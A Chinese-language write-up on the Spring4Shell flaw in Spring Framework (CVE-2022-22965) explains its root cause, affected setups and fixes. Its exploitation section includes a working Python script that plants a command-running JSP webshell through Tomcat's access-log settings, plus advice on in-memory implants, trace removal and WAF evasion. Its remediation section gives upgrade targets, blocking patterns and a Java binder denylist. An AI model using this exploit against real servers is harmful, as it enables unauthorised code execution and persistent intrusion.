CVE-2022-22965: Spring4Shell 漏洞原理、详情与利用案例

0x00 漏洞背景

2022年3月底,Spring 框架爆出严重的远程代码执行(RCE)漏洞,被称为 Spring4Shell(CVE-2022-22965)。该漏洞的 CVSS 评分为 9.8(严重),由于 Spring 框架在企业级 Java 开发中的广泛应用,该漏洞的影响极其深远。

攻击者可以利用该漏洞在未授权的情况下,向存在缺陷的 Spring 应用程序发送特制请求,从而在目标服务器上执行任意代码。

0x01 漏洞影响范围与触发条件

并非所有使用 Spring 的应用程序都会受到影响,触发该漏洞通常需要满足以下特定条件:

  1. JDK 版本:JDK 9 或更高版本(利用了 JDK 9 引入的 class.module.classLoader)。
  2. Servlet 容器:使用 Apache Tomcat 作为 Servlet 容器。
  3. 打包方式:以传统的 WAR 包形式部署在独立的 Tomcat 实例中(Spring Boot 默认的可执行 JAR 包由于使用内嵌 Tomcat,通常不受此特定利用链的影响,但仍存在潜在风险)。
  4. 框架版本:Spring Framework 版本低于 5.3.18 或 5.2.20。
  5. 代码依赖:应用程序中存在 spring-webmvcspring-webflux 依赖。
  6. 参数绑定:应用程序中存在将请求参数绑定到普通旧式 Java 对象(POJO)的逻辑。

0x02 漏洞原理分析

该漏洞本质上是对 CVE-2010-1622 漏洞补丁的绕过。Spring MVC 提供了一种数据绑定(DataBinding)机制,可以将 HTTP 请求参数自动绑定到 Java 对象的属性上。

在早期的 CVE-2010-1622 中,攻击者通过 class.classLoader 修改 Tomcat 的配置。Spring 官方随后通过在 CachedIntrospectionResults 中加入黑名单,拦截了 class.classLoaderclass.protectionDomain

然而,在 JDK 9 引入模块化系统(JPMS)后,Class 对象增加了一个 getModule() 方法。攻击者可以通过 class.module.classLoader 成功绕过早期的黑名单限制,重新获取到 ClassLoader

在 Tomcat 环境下,获取到 WebappClassLoaderBase 后,攻击者可以进一步获取 Tomcat 的 pipelineAccessLogValve(访问日志阀门)。通过修改 AccessLogValve 的属性,攻击者能够篡改日志的输出路径、文件名、扩展名及内容格式,从而将恶意的 JSP 代码作为“日志”写入到 Tomcat 的 webapps 目录下,生成 JSP WebShell。

0x03 漏洞利用案例与 POC

利用思路与 Tomcat 日志配置详解

攻击者通过发送包含特定参数的 HTTP POST 请求,将 Tomcat 的访问日志配置更改为写入 .jsp 文件,并将日志格式设置为 JSP 脚本代码。

这涉及到对 AccessLogValve 几个关键属性的篡改:

  • directory: 通常设置为 webapps/ROOT 以确保 WebShell 落在根目录。
  • prefix & suffix: 分别设置为 shell.jsp
  • pattern: 日志格式字符串,攻击者常利用 % {HeaderName}i 语法,从 HTTP 请求头中提取恶意代码并写入。
  • fileDateFormat: 设置为空字符串 "" 以取消日期后缀,生成固定名称的 WebShell。

POC 示例代码(Python)

以下是用于检测和利用该漏洞的核心 Python 逻辑(基于公开的利用脚本):

import requests
from urllib.parse import urljoin

def exploit(url):
    headers = {
        "suffix": "%>//",
        "c1": "Runtime",
        "c2": "<%",
        "DNT": "1",
        "Content-Type": "application/x-www-form-urlencoded"
    }
    
    # 构造 Payload,通过 class.module.classLoader 访问 AccessLogValve
    data = (
        "class.module.classLoader.resources.context.parent.pipeline.first.pattern="
        "%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20"
        "java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20"
        "int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20"
        "while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di"
        "&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
        "&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT"
        "&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar"
        "&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
    )
    
    try:
        # 发送恶意请求篡改 Tomcat 日志配置
        requests.post(url, headers=headers, data=data, timeout=15, verify=False)
        
        # 验证 WebShell 是否成功写入
        shell_url = urljoin(url, '/tomcatwar.jsp')
        check = requests.get(shell_url, timeout=15, verify=False)
        if check.status_code == 200:
            print(f"[+] 漏洞存在!WebShell 地址: {shell_url}?pwd=j&cmd=whoami")
    except Exception as e:
        print(f"[-] 请求异常: {e}")

高级利用姿势与实战案例

1. 内存马进阶利用

在文件监控严格的环境中,落地 JSP 文件极易被 EDR 或 WebShell 查杀工具发现。因此,内存马是实战中的高级选项:

  1. JSP 注入: 首先通过日志写入一个临时的 JSP 脚本。
  2. 内存植入: 访问该 JSP,执行 Java 代码,将 ControllerInterceptor 内存马注入 Spring 的 RequestMappingHandlerMapping 中。
  3. 清理痕迹: 注入成功后,立即修改日志配置恢复原状,并尝试删除落地的 JSP 文件,实现无文件持久化控制。

2. WAF 绕过技巧

由于 class.module.classLoader 是标志性特征,主流 WAF 均已拦截。常见的绕过思路包括:

  • 利用 Header 传参: 将 Payload 核心代码放在自定义 Header 中,并在 pattern 参数中引用该 Header(如 %25%7BX-Auth-Token%7Di),避开 WAF 对 URL 参数的深度检测。
  • 参数干扰与拆分: 在请求中混入大量无关参数,尝试利用 WAF 的性能瓶颈或解析限制进行绕过。

3. 真实利用案例:Mirai 僵尸网络

在漏洞被披露后,Palo Alto Networks 和 Trend Micro 的安全团队在野外观察到大规模利用活动。攻击者利用该漏洞将 Mirai 僵尸网络恶意软件下载到受感染服务器的 /tmp 目录,通过 chmod 赋予执行权限后运行。此外,由于该漏洞天然支持不出网利用(直接在本地写入并响应,无需反连),在内网隔离严密的政府和金融环境中也极具威胁。

0x04 修复方案与防御建议

  1. 官方补丁升级(首选): 将 Spring Framework 升级到安全的版本:

    • 5.3.x 升级至 5.3.18 及以上
    • 5.2.x 升级至 5.2.20 及以上
  2. 临时缓解措施(WAF 防御): 在 WAF、IPS 等网络防护设备上添加规则,过滤请求参数中包含以下特征字符串的请求:

    • class.*
    • Class.*
    • *.class.*
    • *.Class.*
    • 特别是拦截 class.module.classLoader
  3. 代码层面缓解(黑名单): 在 Spring 应用程序的 @ControllerAdvice 中全局配置 WebDataBinder,将涉及类加载器的关键字段加入绑定黑名单:

@ControllerAdvice
public class GlobalControllerAdvice {
    @InitBinder
    public void setAllowedFields(WebDataBinder dataBinder) {
        String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
        dataBinder.setDisallowedFields(denylist);
    }
}

0x05 参考资料